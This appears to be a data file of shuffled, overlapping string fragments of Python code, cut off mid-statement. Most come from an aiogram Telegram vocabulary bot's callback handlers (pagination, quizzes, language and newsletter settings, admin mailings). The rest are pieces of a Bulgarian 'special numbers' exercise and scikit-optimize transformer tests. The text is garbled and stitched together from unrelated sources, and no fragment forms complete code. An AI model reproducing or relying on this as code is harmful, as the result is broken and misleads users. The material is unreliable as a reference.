@self.dp.callback_query_handler(lambda query:", "reply_markup=paginator.get_reply_markup()) async with state.proxy() as data: data['curr_pagination_page'] = current_state await", "callback executed.') await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('prev_'), state=\"*\") @self.analytics.callback_fsm_metric async", "parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data() else: await query.answer(self.lang.get_page_text('PAGINATION', 'LAST_REACHED', user_lang), show_alert=True)", "= self.db.get_user_mailings(query['from']['id']) mailings_settings = ['disable', 'important', 'all'] if mailings_settings[user_mailings] !=", "self.lang.parse_user_lang(query['from']['id']) selected_option = query['data'][13:] user_mailings = self.db.get_user_mailings(query['from']['id']) mailings_settings = ['disable',", "self.db, self.markup, user_id, current_page=current_state) await message.answer(text=self.lang.get_page_text('DICTIONARY', 'TEXT', user_lang), reply_markup=self.markup.get_dictionary_markup(user_lang)) await", "query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('next_'), state=\"*\") @self.analytics.callback_fsm_metric async def pagination_next_callback_handler(query: types.CallbackQuery,", "AdminMailingState.message.set() await query.message.delete() await query.message.answer(text=self.lang.get_page_text('MAILINGS', 'NEW', user_lang), reply_markup=self.markup.get_cancel_markup()) elif action", "@self.analytics.callback_fsm_metric async def quiz_finish_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id'])", "as data: quiz_result = { 'word': data['quiz_data'][data['index']]['word'], 'selected_option': query.message.poll.options.index( list(filter(lambda", "@self.dp.callback_query_handler(lambda query: query.data.startswith('lang_setting_')) @self.analytics.callback_metric async def language_settings_callback_handler(query: types.CallbackQuery): \"\"\"Handle selecting", "current_state = { 'current_page': 0, 'from_lang': from_lang, 'to_lang': to_lang }", "to_lang = selected_dict_pairs[1] await query.message.delete() await _send_dictionary_page(query.message, query['from']['id'], user_lang, from_lang,", "logging.getLogger(type(self).__name__).info(f'[{action}] callback executed.') await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('prev_'), state=\"*\") @self.analytics.callback_fsm_metric", "language_settings_callback_handler(query: types.CallbackQuery): \"\"\"Handle selecting preferred interface language\"\"\" user_lang = self.lang.parse_user_lang(query['from']['id'])", "'Paginator')(self.lang, self.db, self.markup, query['from']['id'], current_page=current_page) if not paginator.is_first(): await query.message.edit_text(text=paginator.prev_page(user_lang),", "not paginator.is_first(): await query.message.edit_text(text=paginator.prev_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data() else:", "= current_state await DictionaryState.dictionary.set() @self.dp.callback_query_handler(lambda query: query.data.startswith('dictionary_'), state=\"*\") @self.analytics.callback_fsm_metric async", "0: self.db.set_user_mailings(query['from']['id'], 0) await query.message.delete() await query.message.answer(self.lang.get_page_text(\"NEWSLETTER_SETTINGS\", \"SUCCESS\", user_lang)) else:", "from_lang, to_lang, state) # PAGINATION @self.dp.callback_query_handler(lambda query: query.data.startswith('first_'), state=\"*\") @self.analytics.callback_fsm_metric", "def pagination_prev_callback_handler(query: types.CallbackQuery, state: FSMContext): action = query.data[5:] user_lang =", "paginator.is_last(): await query.message.edit_text(text=paginator.next_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data() else: await", "await query.answer(self.lang.get_page_text('PAGINATION', 'FIRST_REACHED', user_lang), show_alert=True) logging.getLogger(type(self).__name__).info(f'[{action}] callback executed.') await query.answer()", "'ALREADY_SET', user_lang), show_alert=True) async def _send_dictionary_page(message: types.Message, user_id: int, user_lang:", "await query.answer() else: await query.answer(self.lang.get_page_text('LANG_SETTINGS', 'ERROR', user_lang), show_alert=True) @self.dp.callback_query_handler(lambda query:", "async def quiz_finish_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id']) if", "as data: data['quiz_results'] = [] data['quiz_data'] = quiz_data data['index'] =", "last_pagination_page else: await query.answer(self.lang.get_page_text('QUIZ', 'NON_SELECTED', user_lang), show_alert=True) @self.dp.callback_query_handler(state=DictionarySearchWordState.search_query) @self.analytics.callback_fsm_metric async", "query.message.edit_text(self.lang.get_page_text(\"LANG_SETTINGS\", \"TEXT\", user_lang)) await query.message.edit_reply_markup(self.markup.get_lang_settings_markup(user_lang)) await query.answer() elif page ==", "query: query.data == 'quiz_start', state=\"*\") @self.analytics.callback_fsm_metric async def quiz_start_callback_handler(query: types.CallbackQuery,", "query.message.poll.options.index( list(filter(lambda item: item.voter_count == 1, query.message.poll.options))[0]), 'correct_option': query.message.poll.correct_option_id, 'options':", "= self.lang.parse_user_lang(query['from']['id']) async with state.proxy() as data: from_lang = data['curr_pagination_page']['from_lang']", "= paginator.get_state_data() else: await query.answer(self.lang.get_page_text('PAGINATION', 'LAST_REACHED', user_lang), show_alert=True) logging.getLogger(type(self).__name__).info(f'[{action}] callback", "query: query.data.startswith('news_setting_')) @self.analytics.callback_metric async def language_settings_callback_handler(query: types.CallbackQuery): \"\"\"Newsletters settings\"\"\" user_lang", "data['curr_pagination_page']['from_lang'] to_lang = data['curr_pagination_page']['to_lang'] self.db.add_user_word(new_word_string, new_word_translation, query['from']['id'], from_lang, to_lang) await", "query.answer(self.lang.get_page_text('PAGINATION', 'FIRST_REACHED', user_lang), show_alert=True) logging.getLogger(type(self).__name__).info(f'[{action}] callback executed.') await query.answer() @self.dp.callback_query_handler(lambda", "show_alert=True) logging.getLogger(type(self).__name__).info(f'[{action}] callback executed.') await query.answer() @self.dp.callback_query_handler(lambda query: query.data ==", "last_pagination_page = data['curr_pagination_page'] await state.finish() await DictionaryState.dictionary.set() async with state.proxy()", "async def pagination_next_callback_handler(query: types.CallbackQuery, state: FSMContext): action = query.data[5:] user_lang", "query.message.delete() await query.message.answer(text=self.lang.get_page_text('FIND_WORD', 'WELCOME_TEXT', user_lang), reply_markup=self.markup.get_cancel_markup()) @self.dp.callback_query_handler(state=DictionaryEditWordState.search_query) @self.analytics.callback_metric async def", "query.data.startswith('help_question_')) @self.analytics.callback_metric async def help_callback_handler(query: types.CallbackQuery): \"\"\"Handle HELP page question", "user_mailings != 1: self.db.set_user_mailings(query['from']['id'], 1) elif selected_option == 'disable' and", "@self.analytics.callback_metric async def edit_word_actions_callback_handler(query: types.CallbackQuery): user_lang = self.lang.parse_user_lang(query['from']['id']) action =", "'from_lang': from_lang, 'to_lang': to_lang } paginator = getattr(pagination, 'dictionary'.capitalize() +", "await query.message.answer(self.lang.get_page_text(\"NEWSLETTER_SETTINGS\", \"SUCCESS\", user_lang)) else: await query.answer(self.lang.get_page_text('NEWSLETTER_SETTINGS', 'ALREADY_SET', user_lang), show_alert=True)", "user_lang), show_alert=True) logging.getLogger(type(self).__name__).info(f'[{action}] callback executed.') await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('next_'),", "not paginator.is_first(): await query.message.edit_text(text=paginator.first_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data() else:", "if not paginator.is_last(): await query.message.edit_text(text=paginator.next_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data()", "query.answer() # QUIZ CALLBACKS @self.dp.callback_query_handler(lambda query: query.data == 'quiz_start', state=\"*\")", "BotAnalytics from db_manager import DbManager from lang_manager import LangManager from", "user_id, current_page=current_state) await message.answer(text=self.lang.get_page_text('DICTIONARY', 'TEXT', user_lang), reply_markup=self.markup.get_dictionary_markup(user_lang)) await message.answer(text=paginator.first_page(user_lang), reply_markup=paginator.get_reply_markup())", "data['index'] = curr_q_index + 1 question = f\"{data['index']}/{len(data['quiz_data'])} \" else:", "if action == 'add': async with state.proxy() as data: new_word_string", "await query.message.edit_reply_markup(self.markup.get_help_markup(user_lang)) await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('settings_')) @self.analytics.callback_metric async def", "show_alert=True) logging.getLogger(type(self).__name__).info(f'[{action}] callback executed.') await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('last_'), state=\"*\")", "__init__(self, db_manager: DbManager, lang_manager: LangManager, markup_manager: MarkupManager, analytics: BotAnalytics, dispatcher:", "show_alert=True) @self.dp.callback_query_handler(lambda query: query.data.startswith('help_question_')) @self.analytics.callback_metric async def help_callback_handler(query: types.CallbackQuery): \"\"\"Handle", "== 'schedule_list': await query.answer() # QUIZ CALLBACKS @self.dp.callback_query_handler(lambda query: query.data", "async def edit_word_actions_callback_handler(query: types.CallbackQuery): user_lang = self.lang.parse_user_lang(query['from']['id']) action = query.data[10:]", "DictionaryQuizState.finish.set() question += self.lang.get_page_text('QUIZ', 'QUESTION', user_lang).format( data['quiz_data'][curr_q_index]['word']) await self.bot.send_poll(chat_id=query['from']['id'], question=question,", "async with state.proxy() as data: new_word_string = data['search_query'] new_word_translation =", "LangManager from markups_manager import MarkupManager from states.Dictionary import DictionaryQuizState, DictionaryState,", "def quiz_finish_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id']) if query.message.poll.total_voter_count", "def search_word_actions_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id']) action =", "user_lang = self.lang.parse_user_lang(query['from']['id']) action = query.data[10:] if action == 'add':", "user_lang), reply_markup=self.markup.get_cancel_markup()) elif action == 'translation': await DictionaryEditWordState.new_word_translation.set() await query.message.delete()", "= f\"{data['index']}/{len(data['quiz_data'])} \" + \\ self.lang.get_page_text('QUIZ', 'QUESTION', user_lang).format(quiz_data[0]['word']) await self.bot.send_poll(chat_id=query['from']['id'],", "query.answer(self.lang.get_page_text('QUIZ', 'NON_SELECTED', user_lang), show_alert=True) @self.dp.callback_query_handler(state=DictionaryQuizState.finish) @self.analytics.callback_fsm_metric async def quiz_finish_callback_handler(query: types.CallbackQuery,", "query.message.edit_reply_markup(self.markup.get_lang_settings_markup(user_lang)) await query.answer() elif page == 'newsletters': await query.message.edit_text(self.lang.get_page_text(\"NEWSLETTER_SETTINGS\", \"TEXT\",", "self.analytics = analytics self.dp = dispatcher self.bot = bot self.__init_handlers()", "parse_mode='Markdown') last_pagination_page = data['curr_pagination_page'] await state.finish() await DictionaryState.dictionary.set() async with", "import AdminMailingState import pagination class VocabularyBotCallbackHandler: \"\"\"Class for Vocabulary Bot", "query['from']['id'], current_page=current_page) if not paginator.is_first(): await query.message.edit_text(text=paginator.first_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page']", "def __init_handlers(self): # CALLBACK HANDLER FOR USER LANGUAGE SETTINGS @self.dp.callback_query_handler(lambda", "import logging # ===== External libs imports ===== from aiogram", "query.message.answer(text=self.lang.get_page_text('FIND_WORD', 'WELCOME_TEXT', user_lang), reply_markup=self.markup.get_cancel_markup()) @self.dp.callback_query_handler(state=DictionaryEditWordState.search_query) @self.analytics.callback_metric async def edit_word_actions_callback_handler(query: types.CallbackQuery):", "= { 'word': data['quiz_data'][data['index']]['word'], 'selected_option': query.message.poll.options.index( list(filter(lambda item: item.voter_count ==", "# ===== Local imports ===== from analytics import BotAnalytics from", "mailings_settings[user_mailings] != selected_option: if selected_option == 'all' and user_mailings !=", "reply_markup=self.markup.get_quiz_next_markup(user_lang)) @self.dp.callback_query_handler(state=DictionaryQuizState.user_answers) @self.analytics.callback_fsm_metric async def quiz_next_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang", "user_mailings != 0: self.db.set_user_mailings(query['from']['id'], 0) await query.message.delete() await query.message.answer(self.lang.get_page_text(\"NEWSLETTER_SETTINGS\", \"SUCCESS\",", "paginator.get_state_data() else: await query.answer(self.lang.get_page_text('PAGINATION', 'FIRST_REACHED', user_lang), show_alert=True) logging.getLogger(type(self).__name__).info(f'[{action}] callback executed.')", "db_manager: DbManager, lang_manager: LangManager, markup_manager: MarkupManager, analytics: BotAnalytics, dispatcher: Dispatcher,", "await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('settings_')) @self.analytics.callback_metric async def settings_page_callback_handler(query: types.CallbackQuery):", "@self.dp.callback_query_handler(lambda query: query.data.startswith('settings_')) @self.analytics.callback_metric async def settings_page_callback_handler(query: types.CallbackQuery): \"\"\"Handle SETTINGS", "query.answer(self.lang.get_page_text('PAGINATION', 'LAST_REACHED', user_lang), show_alert=True) logging.getLogger(type(self).__name__).info(f'[{action}] callback executed.') await query.answer() @self.dp.callback_query_handler(lambda", "await query.message.delete() async with state.proxy() as data: curr_q_index = data['index']", "user_lang)) await query.message.edit_reply_markup(self.markup.get_lang_settings_markup(user_lang)) await query.answer() elif page == 'newsletters': await", "def edit_word_actions_callback_handler(query: types.CallbackQuery): user_lang = self.lang.parse_user_lang(query['from']['id']) action = query.data[10:] if", "'word': data['quiz_data'][data['index']]['word'], 'selected_option': query.message.poll.options.index( list(filter(lambda item: item.voter_count == 1, query.message.poll.options))[0]),", "question = f\"{data['index']}/{len(data['quiz_data'])} \" + \\ self.lang.get_page_text('QUIZ', 'QUESTION', user_lang).format(quiz_data[0]['word']) await", "self.lang.parse_user_lang(query['from']['id']) async with state.proxy() as data: if 'curr_pagination_page' in data:", "await query.message.answer(self.lang.get_page_text('QUIZ', 'FINISH', user_lang)) await query.message.answer(self.lang.get_quiz_results_page(data['quiz_results'], user_lang), parse_mode='Markdown') last_pagination_page =", "user_lang), reply_markup=self.markup.get_cancel_markup()) @self.dp.callback_query_handler(state=DictionaryEditWordState.search_query) @self.analytics.callback_metric async def edit_word_actions_callback_handler(query: types.CallbackQuery): user_lang =", "await AdminMailingState.message.set() await query.message.delete() await query.message.answer(text=self.lang.get_page_text('MAILINGS', 'NEW', user_lang), reply_markup=self.markup.get_cancel_markup()) elif", "correct_option_id=quiz_data[0]['options'].index(quiz_data[0]['answer']), type='quiz', reply_markup=self.markup.get_quiz_next_markup(user_lang)) @self.dp.callback_query_handler(state=DictionaryQuizState.user_answers) @self.analytics.callback_fsm_metric async def quiz_next_callback_handler(query: types.CallbackQuery, state:", "= self.lang.parse_user_lang(query['from']['id']) selected_lang = query['data'][-2:] if selected_lang != user_lang: self.db.set_user_lang(query['from']['id'],", "async def _send_dictionary_page(message: types.Message, user_id: int, user_lang: str, from_lang: str,", "await query.answer() await query.message.delete() async with state.proxy() as data: curr_q_index", "utf-8 -*- # ===== Default imports ===== import asyncio import", "def back_to_help_callback_handler(query: types.CallbackQuery): \"\"\"Handle HELP page question back button\"\"\" user_id", "'string': await DictionaryEditWordState.new_word_string.set() await query.message.delete() await query.message.answer(text=self.lang.get_page_text('EDIT_WORD', 'NEW_STRING', user_lang), reply_markup=self.markup.get_cancel_markup())", "10) await DictionaryQuizState.user_answers.set() async with state.proxy() as data: data['quiz_results'] =", "\"\"\"Handle SETTINGS page buttons\"\"\" user_id = query['from']['id'] user_lang = self.lang.parse_user_lang(user_id)", "'LAST_REACHED', user_lang), show_alert=True) logging.getLogger(type(self).__name__).info(f'[{action}] callback executed.') await query.answer() @self.dp.callback_query_handler(lambda query:", "= self.db.get_user_quiz_data(query['from']['id'], from_lang, to_lang, 10) await DictionaryQuizState.user_answers.set() async with state.proxy()", "state: FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id']) action = query.data[10:] if action", "+= self.lang.get_page_text('QUIZ', 'QUESTION', user_lang).format( data['quiz_data'][curr_q_index]['word']) await self.bot.send_poll(chat_id=query['from']['id'], question=question, options=data['quiz_data'][curr_q_index]['options'], correct_option_id=data['quiz_data'][curr_q_index]['options'].index(", "user_lang), show_alert=True) logging.getLogger(type(self).__name__).info(f'[{action}] callback executed.') await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('prev_'),", "query.data.startswith('mailings_')) @self.analytics.callback_metric async def admin_mailings_new_callback_handler(query: types.CallbackQuery): user_lang = self.lang.parse_user_lang(query['from']['id']) action", "query.message.poll.correct_option_id, 'options': list(map(lambda item: dict(item), query.message.poll.options)) } data['quiz_results'].append(quiz_result) if curr_q_index", "state) elif action == 'find_another': await query.message.delete() await query.message.answer(text=self.lang.get_page_text('FIND_WORD', 'WELCOME_TEXT',", "query['from']['id'] user_lang = self.lang.parse_user_lang(user_id) await query.message.edit_text(self.lang.get_page_text(\"HELP\", \"TEXT\", user_lang)) await query.message.edit_reply_markup(self.markup.get_help_markup(user_lang))", "await DictionaryQuizState.user_answers.set() async with state.proxy() as data: data['quiz_results'] = []", "'dictionary'.capitalize() + 'Paginator')(self.lang, self.db, self.markup, user_id, current_page=current_state) await message.answer(text=self.lang.get_page_text('DICTIONARY', 'TEXT',", "\"\"\"Handle HELP page question back button\"\"\" user_id = query['from']['id'] user_lang", "'to_lang': to_lang } paginator = getattr(pagination, 'dictionary'.capitalize() + 'Paginator')(self.lang, self.db,", "'translation': await DictionaryEditWordState.new_word_translation.set() await query.message.delete() await query.message.answer(text=self.lang.get_page_text('EDIT_WORD', 'NEW_TRANSLATION', user_lang), reply_markup=self.markup.get_cancel_markup())", "data: data['curr_pagination_page'] = current_state await DictionaryState.dictionary.set() @self.dp.callback_query_handler(lambda query: query.data.startswith('dictionary_'), state=\"*\")", "await query.message.edit_text(text=paginator.last_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data() else: await query.answer(self.lang.get_page_text('PAGINATION',", "selected_lang), reply_markup=self.markup.get_main_menu_markup(selected_lang)) await query.answer() else: await query.answer(self.lang.get_page_text('LANG_SETTINGS', 'ERROR', user_lang), show_alert=True)", "1: self.db.set_user_mailings(query['from']['id'], 1) elif selected_option == 'disable' and user_mailings !=", "query: query.data.startswith('first_'), state=\"*\") @self.analytics.callback_fsm_metric async def pagination_first_callback_handler(query: types.CallbackQuery, state: FSMContext):", "action == 'find_another': await query.message.delete() await query.message.answer(text=self.lang.get_page_text('FIND_WORD', 'WELCOME_TEXT', user_lang), reply_markup=self.markup.get_cancel_markup())", "await query.message.answer(text=self.lang.get_page_text('MAILINGS', 'NEW', user_lang), reply_markup=self.markup.get_cancel_markup()) elif action == 'schedule_list': await", "def pagination_next_callback_handler(query: types.CallbackQuery, state: FSMContext): action = query.data[5:] user_lang =", "user_lang), show_alert=True) logging.getLogger(type(self).__name__).info(f'[{action}] callback executed.') await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('last_'),", "self.markup, query['from']['id'], current_page=current_page) if not paginator.is_last(): await query.message.edit_text(text=paginator.last_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode())", "item: dict(item), query.message.poll.options)) } data['quiz_results'].append(quiz_result) await query.message.answer(self.lang.get_page_text('QUIZ', 'FINISH', user_lang)) await", "= markup_manager self.analytics = analytics self.dp = dispatcher self.bot =", "else: await query.answer(self.lang.get_page_text('PAGINATION', 'FIRST_REACHED', user_lang), show_alert=True) logging.getLogger(type(self).__name__).info(f'[{action}] callback executed.') await", "@self.dp.callback_query_handler(lambda query: query.data.startswith('help_question_')) @self.analytics.callback_metric async def help_callback_handler(query: types.CallbackQuery): \"\"\"Handle HELP", "quiz_data = self.db.get_user_quiz_data(query['from']['id'], from_lang, to_lang, 10) await DictionaryQuizState.user_answers.set() async with", "paginator.get_state_data() else: await query.answer(self.lang.get_page_text('PAGINATION', 'LAST_REACHED', user_lang), show_alert=True) logging.getLogger(type(self).__name__).info(f'[{action}] callback executed.')", "\"\"\"Newsletters settings\"\"\" user_lang = self.lang.parse_user_lang(query['from']['id']) selected_option = query['data'][13:] user_mailings =", "= last_pagination_page else: await query.answer(self.lang.get_page_text('QUIZ', 'NON_SELECTED', user_lang), show_alert=True) @self.dp.callback_query_handler(state=DictionarySearchWordState.search_query) @self.analytics.callback_fsm_metric", "item.voter_count == 1, query.message.poll.options))[0]), 'correct_option': query.message.poll.correct_option_id, 'options': list(map(lambda item: dict(item),", "# QUIZ CALLBACKS @self.dp.callback_query_handler(lambda query: query.data == 'quiz_start', state=\"*\") @self.analytics.callback_fsm_metric", "state) # PAGINATION @self.dp.callback_query_handler(lambda query: query.data.startswith('first_'), state=\"*\") @self.analytics.callback_fsm_metric async def", "action.capitalize() + 'Paginator')(self.lang, self.db, self.markup, query['from']['id'], current_page=current_page) if not paginator.is_first():", "import DbManager from lang_manager import LangManager from markups_manager import MarkupManager", "and user_mailings != 2: self.db.set_user_mailings(query['from']['id'], 2) elif selected_option == 'important'", "'disable' and user_mailings != 0: self.db.set_user_mailings(query['from']['id'], 0) await query.message.delete() await", "question=question, options=data['quiz_data'][curr_q_index]['options'], correct_option_id=data['quiz_data'][curr_q_index]['options'].index( data['quiz_data'][curr_q_index]['answer']), type='quiz', reply_markup=self.markup.get_quiz_next_markup(user_lang) if curr_q_index != len(data['quiz_data'])" ]
[ "for index, digit in enumerate(number_as_string): but since we don't need", "генерира всички възможни \"специални\" # числа от 1111 до 9999.", "need the index we don't need enumerate. for digit in", "16 без остатък # • 16 / 8 = 2", "for digit in number_as_string: if int(digit) == 0 or N", "is_number_special = False break if is_number_special: print(f'{number_as_string}', end = '", "for number in range(1111, 9999 + 1): is_number_special = True", "една от неговите цифри без остатък. # Пример: при N", "напише програма, която чете едно цяло число N, въведено от", "+ 1): is_number_special = True number_as_string = str(number) # Could", "also write for index, digit in enumerate(number_as_string): but since we", "цяло число N, въведено от потребителя, и генерира всички възможни", "въведено от потребителя, и генерира всички възможни \"специални\" # числа", "на следното условие: # • N да се дели на", "# • 16 / 4 = 4 без остатък #", "от потребителя, и генерира всички възможни \"специални\" # числа от", "без остатък # • 16 / 8 = 2 без", "= 4 без остатък # • 16 / 1 =", "Специални числа # Да се напише програма, която чете едно", "since we don't need the index we don't need enumerate.", "digit in enumerate(number_as_string): but since we don't need the index", "едно цяло число N, въведено от потребителя, и генерира всички", "index, digit in enumerate(number_as_string): but since we don't need the", "in range(1111, 9999 + 1): is_number_special = True number_as_string =", "# 6. Специални числа # Да се напише програма, която", "digit in number_as_string: if int(digit) == 0 or N %", "= True number_as_string = str(number) # Could also write for", "до 9999. За да бъде “специално” едно число, то трябва", "need enumerate. for digit in number_as_string: if int(digit) == 0", "6. Специални числа # Да се напише програма, която чете", "2 без остатък N = int(input()) for number in range(1111,", "цифри без остатък. # Пример: при N = 16, 2418", "1111 до 9999. За да бъде “специално” едно число, то", "# • 16 / 8 = 2 без остатък N", "write for index, digit in enumerate(number_as_string): but since we don't", "без остатък N = int(input()) for number in range(1111, 9999", "и генерира всички възможни \"специални\" # числа от 1111 до", "остатък # • 16 / 1 = 16 без остатък", "• 16 / 8 = 2 без остатък N =", "• N да се дели на всяка една от неговите", "да се дели на всяка една от неговите цифри без", "следното условие: # • N да се дели на всяка", "програма, която чете едно цяло число N, въведено от потребителя,", "int(digit) != 0: is_number_special = False break if is_number_special: print(f'{number_as_string}',", "е специално число: # • 16 / 2 = 8", "8 без остатък # • 16 / 4 = 4", "number in range(1111, 9999 + 1): is_number_special = True number_as_string", "int(digit) == 0 or N % int(digit) != 0: is_number_special", "число, то трябва да отговаря на следното условие: # •", "int(input()) for number in range(1111, 9999 + 1): is_number_special =", "don't need the index we don't need enumerate. for digit", "остатък # • 16 / 4 = 4 без остатък", "16 / 8 = 2 без остатък N = int(input())", "без остатък # • 16 / 4 = 4 без", "• 16 / 1 = 16 без остатък # •", "от 1111 до 9999. За да бъде “специално” едно число,", "N, въведено от потребителя, и генерира всички възможни \"специални\" #", "4 без остатък # • 16 / 1 = 16", "4 = 4 без остатък # • 16 / 1", "дели на всяка една от неговите цифри без остатък. #", "числа # Да се напише програма, която чете едно цяло", "За да бъде “специално” едно число, то трябва да отговаря", "се дели на всяка една от неговите цифри без остатък.", "= 16 без остатък # • 16 / 8 =", "= 16, 2418 е специално число: # • 16 /", "възможни \"специални\" # числа от 1111 до 9999. За да", "# • 16 / 1 = 16 без остатък #", "= str(number) # Could also write for index, digit in", "8 = 2 без остатък N = int(input()) for number", "число N, въведено от потребителя, и генерира всички възможни \"специални\"", "but since we don't need the index we don't need", "number_as_string = str(number) # Could also write for index, digit", "str(number) # Could also write for index, digit in enumerate(number_as_string):", "% int(digit) != 0: is_number_special = False break if is_number_special:", "in number_as_string: if int(digit) == 0 or N % int(digit)", "трябва да отговаря на следното условие: # • N да", "number_as_string: if int(digit) == 0 or N % int(digit) !=", "if int(digit) == 0 or N % int(digit) != 0:", "остатък. # Пример: при N = 16, 2418 е специално", "бъде “специално” едно число, то трябва да отговаря на следното", "2418 е специално число: # • 16 / 2 =", "enumerate. for digit in number_as_string: if int(digit) == 0 or", "• 16 / 4 = 4 без остатък # •", "16 / 1 = 16 без остатък # • 16", "2 = 8 без остатък # • 16 / 4", "we don't need the index we don't need enumerate. for", "“специално” едно число, то трябва да отговаря на следното условие:", "we don't need enumerate. for digit in number_as_string: if int(digit)", "range(1111, 9999 + 1): is_number_special = True number_as_string = str(number)", "1 = 16 без остатък # • 16 / 8", "N = 16, 2418 е специално число: # • 16", "чете едно цяло число N, въведено от потребителя, и генерира", "the index we don't need enumerate. for digit in number_as_string:", "да бъде “специално” едно число, то трябва да отговаря на", "16 / 4 = 4 без остатък # • 16", "остатък N = int(input()) for number in range(1111, 9999 +", "N % int(digit) != 0: is_number_special = False break if", "без остатък # • 16 / 1 = 16 без", "# Could also write for index, digit in enumerate(number_as_string): but", "/ 2 = 8 без остатък # • 16 /", "остатък # • 16 / 8 = 2 без остатък", "or N % int(digit) != 0: is_number_special = False break", "don't need enumerate. for digit in number_as_string: if int(digit) ==", "1): is_number_special = True number_as_string = str(number) # Could also", "която чете едно цяло число N, въведено от потребителя, и", "отговаря на следното условие: # • N да се дели", "is_number_special = True number_as_string = str(number) # Could also write", "0 or N % int(digit) != 0: is_number_special = False", "= False break if is_number_special: print(f'{number_as_string}', end = ' ')", "\"специални\" # числа от 1111 до 9999. За да бъде", "от неговите цифри без остатък. # Пример: при N =", "N да се дели на всяка една от неговите цифри", "всички възможни \"специални\" # числа от 1111 до 9999. За", "Could also write for index, digit in enumerate(number_as_string): but since", "# Пример: при N = 16, 2418 е специално число:", "/ 8 = 2 без остатък N = int(input()) for", "Пример: при N = 16, 2418 е специално число: #", "специално число: # • 16 / 2 = 8 без", "!= 0: is_number_special = False break if is_number_special: print(f'{number_as_string}', end", "неговите цифри без остатък. # Пример: при N = 16,", "условие: # • N да се дели на всяка една", "всяка една от неговите цифри без остатък. # Пример: при", "да отговаря на следното условие: # • N да се", "числа от 1111 до 9999. За да бъде “специално” едно", "== 0 or N % int(digit) != 0: is_number_special =", "# Да се напише програма, която чете едно цяло число", "Да се напише програма, която чете едно цяло число N,", "без остатък. # Пример: при N = 16, 2418 е", "= 8 без остатък # • 16 / 4 =", "# числа от 1111 до 9999. За да бъде “специално”", "число: # • 16 / 2 = 8 без остатък", "enumerate(number_as_string): but since we don't need the index we don't", "при N = 16, 2418 е специално число: # •", "• 16 / 2 = 8 без остатък # •", "N = int(input()) for number in range(1111, 9999 + 1):", "/ 1 = 16 без остатък # • 16 /", "True number_as_string = str(number) # Could also write for index,", "index we don't need enumerate. for digit in number_as_string: if", "= int(input()) for number in range(1111, 9999 + 1): is_number_special", "9999. За да бъде “специално” едно число, то трябва да", "= 2 без остатък N = int(input()) for number in", "in enumerate(number_as_string): but since we don't need the index we", "# • N да се дели на всяка една от", "16, 2418 е специално число: # • 16 / 2", "9999 + 1): is_number_special = True number_as_string = str(number) #", "едно число, то трябва да отговаря на следното условие: #", "на всяка една от неговите цифри без остатък. # Пример:", "0: is_number_special = False break if is_number_special: print(f'{number_as_string}', end =", "се напише програма, която чете едно цяло число N, въведено", "то трябва да отговаря на следното условие: # • N", "# • 16 / 2 = 8 без остатък #", "потребителя, и генерира всички възможни \"специални\" # числа от 1111", "/ 4 = 4 без остатък # • 16 /", "16 / 2 = 8 без остатък # • 16" ]
[ "X in range(2, 31): X_orig = transformer.inverse_transform(transformer.transform(X)) assert_array_equal(int(np.round(X_orig)), X) @pytest.mark.fast_test", "20, is_int=True) assert transformer.transform(19.8) == 1.0 assert transformer.transform(20.2) == 1.0", "transformer.inverse_transform(0.01) == 1 assert_raises(ValueError, transformer.inverse_transform, 1. + 1e-8) assert_raises(ValueError, transformer.transform,", "assert_array_equal(int(np.round(X_orig)), X) @pytest.mark.fast_test def test_logn10_integer(): transformer = LogN(2) for X", "= LogN(2) for X in range(2, 31): X_orig = transformer.inverse_transform(transformer.transform(X))", "== 20 assert transformer.inverse_transform(0.01) == 1 assert_raises(ValueError, transformer.inverse_transform, 1. +", "transformer.inverse_transform(transformer.transform(X)) assert_array_equal(int(np.round(X_orig)), X) @pytest.mark.fast_test def test_logn10_integer(): transformer = LogN(2) for", "assert transformer.transform(1.2) == 0.0 assert transformer.transform(0.9) == 0.0 assert_raises(ValueError, transformer.transform,", "assert_raises(ValueError, transformer.inverse_transform, 1. + 1e-8) assert_raises(ValueError, transformer.transform, 0. - 1e-8)", "range(2, 31): X_orig = transformer.inverse_transform(transformer.transform(X)) assert_array_equal(int(np.round(X_orig)), X) @pytest.mark.fast_test def test_logn10_integer():", "assert_equal from numpy.testing import assert_raises_regex from skopt.space import LogN, Normalize", "== 0.0 assert_raises(ValueError, transformer.transform, 20.6) assert_raises(ValueError, transformer.transform, 0.4) assert transformer.inverse_transform(0.99)", "transformer.transform(1.) == 0.0 assert_raises(ValueError, transformer.transform, 20. + 1e-7) assert_raises(ValueError, transformer.transform,", "import numpy as np from numpy.testing import assert_raises from numpy.testing", "import numbers import numpy as np from numpy.testing import assert_raises", "assert_raises(ValueError, transformer.transform, 1.0 - 1e-7) assert_raises(ValueError, transformer.inverse_transform, 1. + 